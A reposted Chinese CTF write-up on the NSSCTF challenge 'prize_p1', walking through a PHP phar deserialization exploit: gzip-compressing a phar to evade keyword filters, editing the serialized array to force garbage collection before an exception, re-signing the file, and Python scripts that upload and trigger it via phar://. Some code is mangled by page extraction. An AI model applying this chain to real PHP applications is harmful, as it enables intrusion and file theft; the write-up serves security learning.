iis服务器助手广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >记一道CTF中的phar反序列化
  • 438
分享到

记一道CTF中的phar反序列化

phpservletweb安全 2023-09-17 16:09:37 438人浏览 独家记忆
摘要

Author: takahashi 提要         最近这段时间恍恍惚惚有点不知道干嘛, 想着闲来无事不如去做两道CTF,于是有了此文。记录一下自己做题的思路过程以及遇到的一些问题, 有不对不足之处还望师傅们斧正。        

Author: takahashi

提要

        最近这段时间恍恍惚惚有点不知道干嘛, 想着闲来无事不如去做两道CTF,于是有了此文。记录一下自己做题的思路过程以及遇到的一些问题, 有不对不足之处还望师傅们斧正。

        思路上参考了atao, xenny两位师傅的WriteUp。 题目出的很棒, 学到了很多东西!

        平台: NSSCTF

        题目名:prize_p1

开始做题咯~

        打开环境, 映入眼帘的就是源码

config == 'w') {            $data = $_POST[0];            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {                die("我知道你想干吗,我的建议是不要那样做。");            }            file_put_contents("./tmp/a.txt", $data);        } else if ($this->config == 'r') {            $data = $_POST[0];            if (preg_match('/get|flag|post|PHP|filter|base64|rot13|read|data/i', $data)) {                die("我知道你想干吗,我的建议是不要那样做。");            }            echo file_get_contents($data);        }    }}if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {    die("我知道你想干吗,我的建议是不要那样做。");}unserialize($_GET[0]);throw new Error("那么就从这里开始起航吧");

        简单过一遍代码可以看到在倒数第二行有一个unserialize反序列化的函数,继续审计代码可以发现主要利用点在file_get_contents和file_put_contents两个函数上面。再往上看可以看到最终要打的内容, 通过getflag类中的__destruct魔术方法拿到flag。

        理完一遍思路之后重新审计一下代码

class A {    public $config;    function __destruct() {        if ($this->config == 'w') {            $data = $_POST[0];            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {                die("我知道你想干吗,我的建议是不要那样做。");            }            file_put_contents("./tmp/a.txt", $data);        } else if ($this->config == 'r') {            $data = $_POST[0];            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {                die("我知道你想干吗,我的建议是不要那样做。");            }            echo file_get_contents($data);        }    }}

        通过config的值去控制文件读写, 审计一下正则发现基本上把伪协议都过滤了, 直接new getflag也不行,这种情况下十六进制类名也绕不了,再仔细审计一下发现虽然phar伪协议没有作限制。但是对类名作了过滤, 这个时候我就没什么思路了。

Phar混淆

        找了会儿资料但是没什么思路, 只能去求救大佬。 去问了个牛纸, 他给我推了篇文章, 大致原理就是用其他的压缩格式再对phar文件进行压缩达到混淆的效果, 部分压缩格式混淆过的phar内容同样可以直接被phar://伪协议解析。

事不宜迟, 写个脚本生成phar文件

startBuffering();    $phar->setStub("");    $phar -> setMetadata($a);    $phar->addFromString("1.txt", "123");     $phar->stopBuffering();?>

        然后用gzip压缩

        然后写个脚本上传一下

import requestsurl = ""phar = open("takahashi.phar.gz", "rb")sentData = {    0: phar.read()}phar.close()requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"w";}', data=sentData)response = requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"r";}', data={0: "phar://./tmp/a.txt"})print(response.text)

        但是运行之后却没有flag, 本地调试的时候发现phar反序列化结束后会提前被最后一行的异常抛出给强行终止程序运行, 导致__destruct无法成功执行。

throw new Error("那么就从这里开始起航吧");

PHP强制GC绕过

        这一块实在是没什么思路去绕过, 于是参考了一下xenny和atao两位师傅的wp, 此处用的是xenny师傅的思路, 修改文件内容 -> 签名修复 -> 文件上传。

        atao师傅用的思路是上面文章里面的第二种方法, 这边就顺着我最初的思路延伸继续用gzip。atao师傅讲的也是真的不错, 对里面的内容进行了补充。

针对PHP的GC内容此处不多赘述, 如果对此知识点不是很熟悉可以看看这几篇文章:

php的垃圾回收机制(gc)_m313557552的博客-CSDN博客

php垃圾回收机制(gc)介绍

PHP垃圾回收机制(GC) - 欢乐豆123 - 博客园

构造一下替换的内容

        分析一下POC, 首先创建了一个有2个元素的数组, 序列化结果如下:

// 蓝色字体代表元素在数组中的位置, 红色字体代表元素值

a:2:{i:0;O:7:"getflag":0:{}i:1;i:1;}

使用替换函数后生成的结果如下

a:2:{i:0;O:7:"getflag":0:{}i:0;i:1;}

        可见第二个元素移动到了第一个元素的位置, O:7:"getflag":0:{}失去了引用, 被PHP强制回收从而销毁对象触发__destruct()魔术方法。

修复文件签名

        在二次复现时发现直接对文本内容修改然后用X尼师傅的脚本跑发现修复后的文件后八位值会改变, 建议重新生成phar文件然后用winhex或010等工具修改十六进制。

startBuffering();    $phar->setStub("");     $phar -> setMetadata($a);    $phar->addFromString("1.txt", "123");     $phar->stopBuffering();?>

        然后修复文件签名, 这边贴一下X尼师傅的脚本

from hashlib import sha1f = open('test.phar', 'rb').read()  # 修改内容后的phar文件s = f[:-28]  # 获取要签名的数据h = f[-8:]  # 获取签名类型以及GBMB标识newf = s+sha1(s).digest() + h  # 数据 + 签名 + 类型 + GBMBopen('takahashi.phar', 'wb').write(newf)  # 写入新文件

        修复后使用gzip压缩一下上传成功拿到flag。

import requestsurl = ""phar = open("test.phar.gz", "rb")requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"w";}', data={0: phar.read()})phar.close()response = requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"r";}', data={0: "phar://tmp/a.txt"})response.encoding = "utf-8"print(response.text)

来源地址:https://blog.csdn.net/qq_53886354/article/details/126333147

--结束END--

本文标题: 记一道CTF中的phar反序列化

本文链接: https://www.lsjlt.com/news/411206.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作